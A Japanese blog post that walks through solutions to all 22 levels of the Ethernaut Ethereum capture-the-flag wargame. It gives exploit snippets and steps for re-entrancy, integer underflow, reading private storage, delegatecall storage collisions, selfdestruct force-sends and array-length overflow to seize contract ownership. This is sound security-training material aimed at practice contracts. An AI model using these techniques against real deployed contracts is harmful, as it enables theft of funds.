Qiita Teams that are logged in
You are not logged in to any team

Log in to Qiita Team
Community
OrganizationEventAdvent CalendarQiitadon (β)
Service
Qiita JobsQiita ZineQiita Blog
2
Help us understand the problem. What are the problem?

More than 1 year has passed since last update.

posted at

updated at

Ethernaut 全22問を解いてみた (0.Hello Ethernaut ~ 22.Shop)

はじめに

Ethereum版CTFのEthernautの2020/8/5現在出ている(0~22)まで解きました。
雑にメモっぽく書いているが、全ての問題を解説している日本語記事がないため
これからEthernautを解く人向けに共有します。

基本的にはsolidity v0.4.xの問題をときました。
shopはsolidity v0.4.12の問題が404だったのでv0.5.0の問題をときました
(Ethereumのアプデでクリアはできなかったけども)

0. Hello Ethernaut

ここは解説する必要なし
言われた通りに入力するだけ

1. Fallback

ownerアドレスに自分のアドレスが入ればクリア
fallback関数の条件をクリアして呼び出すとownerの書き換えが可能

fallback関数内の
contributions[msg.sender] > 0をクリアするためcontribute()を呼び出して条件をクリアさせる
そのあと、fallback関数を呼び出す。

2. Fallout

これはsolidity v0.5.0以前に発生しうる脆弱性
constructorのスペルミスで普通の関数になっている
Fal1out()を呼び出すだけ

3. Coinflip

乱数に見せかけて同じコントラクトを書いて実行すると同じ値が出る
そのため事前に計算するコントラクトを作成
その結果をもとに問題のコントラクトを実行すると10問でも何問でも正解できる

4. Telephone

msg.sender -> EOAとコントラクトの二つのアドレスが入る
tx.origin -> EOAアドレスのみ

例えば

BobのEOA -> AContract -> BContract

BContractからすると
msg.senderはAContract
tx.originはBobのEOA

tx.originはセキュリティ上問題があるため、非推奨
tx.originの情報が知りたい場合はコントラクトにその情報を送る必要がある

5. Token

典型的なオーバーフロー脆弱性
solidityにはマイナスの概念がないため
uint256の場合
2^256がmaxだがそれに+1すると0に戻る
0から-1を引くと2^256になるため

balances[msg.sender] - _value >= 0のvalueは20以上を入れればクリアできる。
また自分のアドレスにオーバーフローした大量のトークンが追加される。

6. Delegate

msg.dataを作成する。


> await contract.sendTransaction({ data: web3.sha3("Method") })

7. Force

solidityのSelfDestruct(非推奨)
- コントラクトを使用不可にするときに使われる
- そのコントラクトにある分のEthを宛先に送信する。このとき宛先のfallback関数は呼び出されない。
- fallback関数がnon-payableでも送信できてしまう。

OpenZeppelinのPausableコントラクトなどで使用できないようにするのが推奨されている。


pragma solidity ^0.6.12;

contract KillContract {
    fallback() external payable {}
    // payableで宣言
    address payable sendEthAddress;

    constructor(address payable _sendEthAddress) public {
        sendEthAddress = _sendEthAddress;
    }

    function kill() public {
        selfdestruct(sendEthAddress);
    }
}

8. Vault

passwordなど、公開したくない情報はいれることができない
伝搬し格納したデータを参照すればprivateで宣言している変数内も見えてしまう。

web3のgetStorageAtを使うと内容がわかってしまう。

テキトーなプロジェクトを作ってweb3を動かしてみた


  web3 = new Web3(
    new Web3.providers.HttpProvider(
      "https://ropsten.infura.io/v3/プロジェクトID"
    )
  );

    this.web3.eth
      .getStorageAt("0xf72902f76ed2421949714333816759a55afb10cd", 1)
      .then((hexPassword) => {
        console.log(this.web3.utils.hexToAscii(hexPassword));
      });

9. King

例外が発生するとkingが変更できなくなる。
意図的に例外が発生するようにする

送信するコントラクト先がpayableかどうかのチェックが行われないといけない

// メソッドの引数に{value: ***}でpayableな関数にイーサを送金できる
HackKing.deployed().then((instance) => instance.Attack({value:100000}))

10. Re-Entrancy

外部のpayableなメソッドにイーサを送る

abstract contract Reentrance{
    function donate(address _to)public payable{}
}
contract ReEntrancyAttack {
    Reentrance reentrance = Reentrance(AttackAddress);
    reentrance.donate{value:AttackAmount}(address(this));
}

11. Elevator

処理の戻り値が常に同じとは変わらない(実行するとスイッチのようにOn,Offする場合がある)

    function isLastFloor(uint256 _floor) public returns (bool) {
        top =!top;
        return top;
    }

抽象コントラクトはview,pureの制約を許してしまう
抽象コントラクトを作成するときは注意

作成者はview関数なので戻り値は同じだと思い、二度目の呼び出しをした。

12. Privacy

Storageに格納されているデータを解析する


for(int i = 0; i < 10; i++){
  this.web3.eth.getStorageAt(" *** address ***",i).then(storage => console.log(i+")"+storage));
}
//結果
0)0x0000000000000000000000000000000000000000000000000000008a14ff0a01
1)0x6edb24b480ae1417f6870f37041354a8b4705c24943f53326193f072a938beae
2)0x8c552e818e1df3385dc4a7592ae2393dc5a09f30f5ae8b71d5ed72717c601cf1
3)0x66caf7bad73696d6aa449706ea09bfc8e19c9c7c00a1b9cb9c3e4411581a504f
  • ストレージスロットは32bytes
  • Storageは32byte未満の変数は同じ可能であれば1スロットにまとめて格納される

8bit => 1byte
1byte => 16進数で二桁になる


 bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;
格納 格納された数値
bool true 01
uint256 block.timestamp -(constant)
uint8 10 0a
uint8 255 ff
uint16 uint8(now) 8a14
bytes32[3] ? slot[1~3]

0x66caf7bad73696d6aa449706ea09bfc8e19c9c7c00a1b9cb9c3e4411581a504f

16byteにキャストするから先頭半分

13. Gatekeeper One

Gate1はコントラクトから呼び出しにすればok

Gate2はdebugしながらGas%8191=0になるように設定する
筆者はうまくできなかったので120回for文で総当たりしてやった
(debugした時のgas代がMetaMaskの方で勝手に書き換えられちゃう?それともGasLimitがちゃんと設定できてないのかも。。。)


* bytes8(_gateKey)
gateOne => msg.senderとtx.originを別に (別コントラクトから呼び出し)
gateTwo => ガスが8191で割り切って0になる (ガス指定)
gateThree => 
- uint32(_gateKey)とuint16(_gateKey)の結果が同じ
- uint32(_gateKey)とuint64(_gateKey)の結果が違う
- uint32(_gateKey)とuint16(tx.origin)の結果が同じ

条件を突破すればGate3クリア

uint16 - 16bitで整数を格納(符号なし)
1 byte => 二桁の16進数

uint16(tx.origin) = '61502'(16bytes) => 0xF0 3E
uint16(_gateKey) => 0xF0 3E
uint32(_gateKey) => 61502 => 0x00 00 F0 3E
uint32(_gateKey) =! uint64(_gateKey)なので
uint64(_gateKey) => 0x00 00 00 01 00 00 F0 3E

uint64 => 8byte
_gateKey = 0x111000000000F03E

14. GateKeeper Two

Gate1はコントラクトから問合せでクリア
Gate2は


  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

Assemblyを読む。
extcodesize(a) -> size of the code at address a(aアドレスのコードサイズ)
caller -> call sender(呼び出し元)

つまり、呼び出し元はコードサイズが0であるならok
デプロイ後、実行するとデータサイズは0ではない

コードサイズが0は
コードが完全にpushされていない、コンストラクタの中での実行
で実現する。

gate3は


  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

uint64(0) - 1 = 2**64 -1 = 18446744073709551615(1111111111111111111...1111(64))
^ -> ビットごとの XOR

uint64(_gateKey)を使ってマスクするっぽい

uint64(keccak256(msg.sender)) -> (1111011010101010101110111...111)と仮定すると

XORは

msg Key result
0 0 0(x)
1 0 1
0 1 1
1 1 0(x)

なので全て1にするようにするには
msg.senderが0のときkeyは1
msg.senderが1のときkeyは0

つまりkeyはmsg.senderの真逆を作ればいい
なので
(msg.sender)XOR 0 = key

コードにするとこうなる


uint64 key = ~uint64(keccak256(msg.sender));
return bytes8(key);

15. Naught Coin

自由に転送できるようにするには
playerを自分のアドレス以外のアドレスに変更すればいい...
けど別のアカウントに送って自分のアドレスは使用しないようにすれば自分のトークン量は0になる。


  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 

ERC20のapprove,transferFromワークフローを使用して他のアドレスに送ってしまおう

approve,transferFromワークフローはICOのときに使われる、ERC20の関数である。
approveでどのアカウントにどの量送信可能ににするかを設定し
transferFromで許可された分だけトークンを送信可能にする。

この二つの関数はlockTokensされていないため
自分のアドレスのトークンを他のアドレスから送らせることが可能

1e+24トークン分送信してクリア

16. Preservation

DelegateCallのストレージ格納方法についての知識が必要
image.png

delegateCallした際に格納されるストレージは定義した変数に入れられるのではなく
ストレージのスロットに格納される。

つまり、図のContract Bは変数barがスロット0にあるためB.delegateCall(..setTo5)を実行すると
Contract Aのスロット0、つまり変数fooが書き換わってしまう。

このことを利用すると、
address public timeZone1Library;を書き換えることが可能

あとはストレージレイアウトの同じ、ownerを書き換えるコントラクトをデプロイして実行させるように作成すればクリア

自分のアドレスのuint256
'1356523368718057898125122042148055426621049139262'

17. Locked

structのアンチパターン


contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates

    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}

structは格納されるデータ群の参照をするもの
デフォルトでStorage

関数内でStructを宣言するとStorageとして宣言され現在のスロットの上書きをしてしまう


    function register(address _name, address _mappedAddress) public {
        // set up the new NameRecord
        address storage A = address(1); //コンパイルエラー 関数内でStorageは宣言できない
        NameRecord newRecord; // Structとarrayはできちゃう
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
    }

問題ではnewRecord.nameでunlockが上書きされる
1スロットでtrueのみの格納は
0x0000000000000000000000000000000000000000000000000000000000000001
こうなる

18. Recovery

selfdestruct(_to)は自分のコントラクトを破壊し元のアドレスに変換する。

EtherScanでどこに送っていたのかを見る。
スクリーンショット 2020-08-02 16.47.40.png

0.5ethを持つコントラクトをselfdestructすればok
selfdestructをpublicにしてるのフツーにやばない?
誰からでもselfdestructできるやんけ...

19. MagicNumber

opecodeを理解する必要がある。

この方のブログが参考になる。
Solidity Assembly入門

[Runtime Code]
今回は0x42を返すだけのopecodeを考える。

まずは0x42をstack領域にいれる(0x42は1bytesで表せるのでPUSH1)
PUSH1(0x42)

次にmemory領域にいれる(0x80からフリーメモリポインタ。0x80以前は予約されている->Initialization Opcode)
MSTORE(0x80,0x2a)

それをmemory領域に格納したデータ(0x80から1スロット32bytes分->0x20)を返す
RETURN(0x80,0x20)

つまり
PUSH1 0x42 PUSH1 0x80 MSTORE PUSH1 0x20 PUSH1 0x80 RETURN
この流れで実行される。
全10opcode!
これをバイトコードに直す

Ethereum Virtual Machine Opcodes
上の対応表をみながら書いていく
60 2a 60 80 52 60 20 60 80 f3

[Initialization Opcode]
0x80以前のopcodeを考える
Initialization Opcodeとはコントラクトを作成するためのOpcode
主にRuntime Opcodeを作成する

CODECOPYを使ってRuntime Opcodeをメモリにコピーする
CODECOPY(t, f, s)の引数は

  • (t) 最初のメモリの宛先。 
  • (f) Runtime Opcodeのバイトコード全体に対する位置
  • (s) Runtime Opcodeのコードのサイズ

sからスタックに入れていく 今回は10bytesなので
PUSH1 0x0a

fは現在わからない。Initialize Opcode
PUSH1 0x??

tは0x00なので
PUSH1 0x00

DATACOPY

なので
60 0a 60 ?? 60 00 39

コピーしたらRuntime Opcodeに戻るためにRETURNをする
RETURN(p,s)は実行を終了して指定したメモリに戻る

  • (p) 戻るメモリの相対位置。
  • (s) datasize

PUSH1 0x0a
PUSH1 0x00
RETURN

なので
60 0a 60 00 f3
全部で12bytesなので??は0c

よって
0x600a600c600039600a6000f3602a60805260206080f3
これをweb3でトランザクションを作成する


var account = "0xeD9C9c93b75b8222934A4772A5A9eb55A8Cbf03E" // my account
var bytescode = "0x600a600c600039600a6000f3602a60805260206080f3" 
web3.eth.sendTransaction({from: account, data: bytescode}, function(err,res){console.log(res)})

スクリーンショット 2020-08-03 0.17.57.png
しっかり作られていることを確認

これをSolverに登録してクリア

20. Alien Codex

馬鹿でかい要素を持つarrayを作るため、データを低レベルでcallする必要がある。
1)
関数のハッシュの作り方

bytes4(keccak256(abi.encodePacked(func)));

make_contract(bytes32[]) -> 0x1d3d4c0b

次に引数の要素のポインタを指定
今回は一要素しかないのでポインタを指定する32bytesの次なので
0x0000000000000000000000000000000000000000000000000000000000000020

bytes32[].length >2**200 をクリアするためのバイト列を作る
2^200 = 16^50
bytes32[]のような動的な型は最初に型の要素数を指定する
0x1000000000000000000000000000000000000000000000000000000000000000 -> 16^64なのでクリア
要素数の次はなんでもありなので基本的には何もしなくても0が入っている

なのでdataは
0x1d3d4c0b00000000000000000000000000000000000000000000000000000000000000201000000000000000000000000000000000000000000000000000000000000000

トランザクションを作成する


web3.eth.sendTransaction({ to: contract.address, data: rowdata, from:player, gas:1000000},function(error , result){console.log(result)})

これでcontactはtrueになる。

2)
スロットがオーバーフローするのを狙う
web3.eth.getStorageAtでストレージをみてみると


0) 0x00000000000000000000000173048cec9010e92c298b016966bde1cc47299df5
1) 0x0000000000000000000000000000000000000000000000000000000000000000
2) 0x0000000000000000000000000000000000000000000000000000000000000000
3) 0x0000000000000000000000000000000000000000000000000000000000000000
slot bytes
0 bool + owner address
1 Array.length
keccak(1) codex[1]
keccak(1)+1 codex[2]
2^256-1 codex[2^256-1-keccak(1)]
0(over flow) codex[2^256-1-keccak(1)+1]

動的な型(arrayなど)はメモリの衝突が起きないようにkeccak(1)を最初の動的な型のメモリ開始地点としている。
スロットは2^256個あるが溢れるとオーバーフローを起こし、0スロットに戻ってくるためowner addressを変更することができる。

2^256-1-keccak(1)+1 = 35707666377435648211887908874984608119992236509074197713628505308453184860938

トランザクションを作成して実行

// revise(index, value)
await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001eD9C9c93b75b8222934A4772A5A9eb55A8Cbf03E',{from:player, gas:1000000})

スクリーンショット 2020-08-05 0.20.51.png

なんかどうやら意図的にArray Overflowさせるのは対策されているのかな...?

他の記事みるとこれでうまくいってるぽいんでとりま保留

21. Denial

ownerがコントラクトから引き出せなくなればクリア

partner.call.value(amountToSend)();
ここの部分が他のコントラクトに問い合わせているにも関わらず、revert対策を行っていない
そこで意図的にrevertさせればいい
ここは正直どんな方法でrevertさせてもいいので

re-entrancyを使ってガスを0にしてrevertさせた。

22. Shop

初期値のpriceよりやすくすればクリア


    if (_buyer.price.gas(3000)() >= price && !isSold) {
      isSold = true;
      price = _buyer.price.gas(3000)();
    }

_buyer.priceを二度呼んでいるが最初の呼び出しより少ない値を返すようにすれば
isSoldはtrue
かつ
priceが100よりやすくできる。

コントラクトを作成する
_buyer.priceを呼び出すがガスは(3000)に制限されている。
ストレージを使用するpriceの呼び出しは最低でも8000ガスが必要なため、ストレージを使わない関数を書く


    function price() public view override returns (uint256){
        return Shop(ShopAddress).isSold() == true ? 0:100;
    }

こうすることでクリアできる....はずなんだが、
https://github.com/OpenZeppelin/ethernaut/issues/156

どうやらイスタンブールアップデートでSLOADのガスが200から800に変更されたせいで
ガス制限3000はクリアしない模様

こればかりはクリアできないね

まとめ

だいぶ初学者からすると骨のある問題ばかりだった
storageのメモリ設計やfallbackなど代表的な脆弱性の他にも
もうすでにsolidityのコンパイラがエラーをはいてくれるものもあった。
なるべく新しいバージョンを使うのがセキュリティ面でもいいと思った。

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
2
Help us understand the problem. What are the problem?